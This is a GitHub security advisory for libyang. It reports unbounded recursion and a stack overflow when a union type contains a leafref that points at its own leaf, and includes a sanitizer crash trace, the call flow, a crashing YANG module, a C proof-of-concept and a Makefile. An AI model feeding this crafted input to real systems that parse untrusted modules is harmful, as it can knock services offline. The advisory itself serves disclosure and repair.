Skip to content

Missing cycle detection when storing union values containing circular leaf references leads to infinite recursion

High
michalvasko published GHSA-mq87-gwqp-w3v8 Feb 19, 2026

Package

No package listed

Affected versions

4.2.2

Patched versions

5.0.6

Description

Summary

Missing cycle detection when storing union values containing circular leaf references leads to infinite recursion and stack overflow.

Introduction

Hi developers,
We (Joshua Wang, Dongkwan Kim, and a lot of our team members) are Team Atlanta from Georgia Institute of Technology, winners of DARPA's AI Cyber Challenge (AIxCC). We're reaching out to submit a vulnerability report that we identified using our system, Atlantis, in your project. This effort is recommended by DARPA's initiative to apply competition technologies to real-world open source projects.

We have built an AI-enhanced CRS (Cyber Reasoning System) for automatic vulnerability detection and repair.

AIxCC Competition: https://aicyberchallenge.com/
Our Team: https://team-atlanta.github.io/

Looking forward to your response and please check details below!

Details

The input sets up a leaf whose type is a union of a single leaf reference to itself. It then sets a default value which triggers type validation.

Crash log:

==2854332==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc70bf9f28 
    (pc 0x55655dda2385 bp 0x7ffc70bfa760 sp 0x7ffc70bf9f30 T0)
    #0 0x55655dda2385 in __asan_memset
    #1 0x55655e02d362 in lyplg_type_store_union /src/libyang/src/plugins_types/union.c:474:5
    #2 0x55655e02ba44 in lyplg_type_store_leafref /src/libyang/src/plugins_types/leafref.c:60:10
    #3 0x55655e031100 in union_store_type /src/libyang/src/plugins_types/union.c:278:10
    #4 0x55655e030484 in union_find_type /src/libyang/src/plugins_types/union.c:346:15
    #5 0x55655e02d6bc in lyplg_type_store_union /src/libyang/src/plugins_types/union.c:495:15
    [Recursion continues indefinitely...]

SUMMARY: AddressSanitizer: stack-overflow 
         /src/libyang/src/plugins_types/union.c:474:5 in lyplg_type_store_union

Entry point and call flow

The vulnerability is triggered when parsing a YANG module via lys_parse_mem():

Entry point and call flow:

lys_parse_mem()
    └─> lys_parse()
        └─> [Module compilation and default value processing]
            └─> lys_compile_unres_dflt()
                └─> type_plg->store()
                    └─> lyplg_type_store_union()

Code locations:

lys_compile_unres_dflt validates the default value against the type. Since the type is a union of a self-referential leafref, the bug is triggered.

Recursion cycle

The infinite recursion occurs in the following pattern:

A. lyplg_type_store_union() [union.c:465]

  • Called to store/validate a default value for a union type
  • Line 499: Calls union_find_type() to determine which union member matches

B. union_find_type() [union.c:324]

  • Iterates through union member types (line 347)
  • Line 348: Calls union_store_type() for each member type

C. union_store_type() [union.c:216]

  • Line 279: Calls the type plugin's store() function
  • For leafref types, this calls lyplg_type_store_leafref()

D. lyplg_type_store_leafref() [leafref.c:49]

  • Line 60: Delegates to the realtype's store() function
  • The realtype is the union type itself (circular reference)
  • This calls lyplg_type_store_union() again → BACK TO A

PoC

Crashing config file:

module leafref-unions {
    namespace "http://example.com/leafref-unions";
    prefix "lu";
    
    container config {
        leaf circular-ref-1 {
            type union {
                type leafref {
                    path "../circular-ref-1";
                }
            }
            default "circular-value";
        }                
    }
}

Sample PoC code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "libyang.h"

/* The crashing YANG module */
static const char *yang_module = 
    "module leafref-unions {\n"
    "    namespace \"http://example.com/leafref-unions\";\n"
    "    prefix \"lu\";\n"
    "    \n"
    "    container config {\n"
    "        leaf circular-ref-1 {\n"
    "            type union {\n"
    "                type leafref {\n"
    "                    path \"../circular-ref-1\";\n"
    "                }\n"
    "            }\n"
    "            default \"circular-value\";\n"
    "        }                \n"
    "    }\n"
    "}\n";

int main(void)
{
    struct ly_ctx *ctx = NULL;
    struct lys_module *module = NULL;
    LY_ERR err;

    /* Disable logging to reduce noise */
    ly_log_options(0);

    /* Create a new libyang context */
    err = ly_ctx_new(NULL, 0, &ctx);
    if (err != LY_SUCCESS) {
        fprintf(stderr, "Failed to create libyang context\n");
        return EXIT_FAILURE;
    }

    printf("Parsing YANG module with circular leafref in union type...\n");
    printf("This should trigger infinite recursion and crash.\n\n");

    /* Parse the YANG module - this will trigger the vulnerability */
    err = lys_parse_mem(ctx, yang_module, LYS_IN_YANG, &module);
    
    if (err == LY_SUCCESS) {
        printf("ERROR: Module parsed successfully (unexpected!)\n");
    } else {
        printf("Parsing failed with error code: %d\n", err);
        const struct ly_err_item *err_item = ly_err_first(ctx);
        if (err_item) {
            printf("Error message: %s\n", err_item->msg);
        }
    }

    /* Cleanup */
    ly_ctx_destroy(ctx);

    return EXIT_SUCCESS;
}

Makefile:

# Makefile for libyang_1b_poc.c
# Assumes libyang is built in ./libyang/build

CC = gcc
CFLAGS = -Wall -Wextra -g -fsanitize=address -fsanitize=undefined
LDFLAGS = -fsanitize=address -fsanitize=undefined

# Paths - adjust these if libyang is installed elsewhere
LIBYANG_BUILD_DIR = ./libyang/build
LIBYANG_SRC_DIR = ./libyang

# Include directories
# Order matters: build/libyang must come first so ly_config.h can be found
# For building against source tree (matches CMake build setup):
INCLUDES = -I$(LIBYANG_BUILD_DIR)/libyang -I$(LIBYANG_SRC_DIR)/src -I$(LIBYANG_SRC_DIR)/src/plugins_exts
# For installed libyang, use: pkg-config --cflags libyang

# Library paths
LIBS = -L$(LIBYANG_BUILD_DIR) -lyang -lpcre2-8
# Add RPATH so the program can find libyang at runtime
LDFLAGS += -Wl,-rpath,$(LIBYANG_BUILD_DIR)

# Source and target
SRC = libyang_1b_poc.c
TARGET = libyang_1b_poc

.PHONY: all clean run

all: $(TARGET)

$(TARGET): $(SRC)
	$(CC) $(CFLAGS) $(INCLUDES) -o $(TARGET) $(SRC) $(LIBS) $(LDFLAGS)

run: $(TARGET)
	@echo "Running proof-of-concept (this will crash with stack overflow)..."
	@./$(TARGET) || true

clean:
	rm -f $(TARGET)

To run, make && make run

Impact

Stack overflow may lead to denial-of-service.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Uncontrolled Recursion

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. Learn more on MITRE.

Credits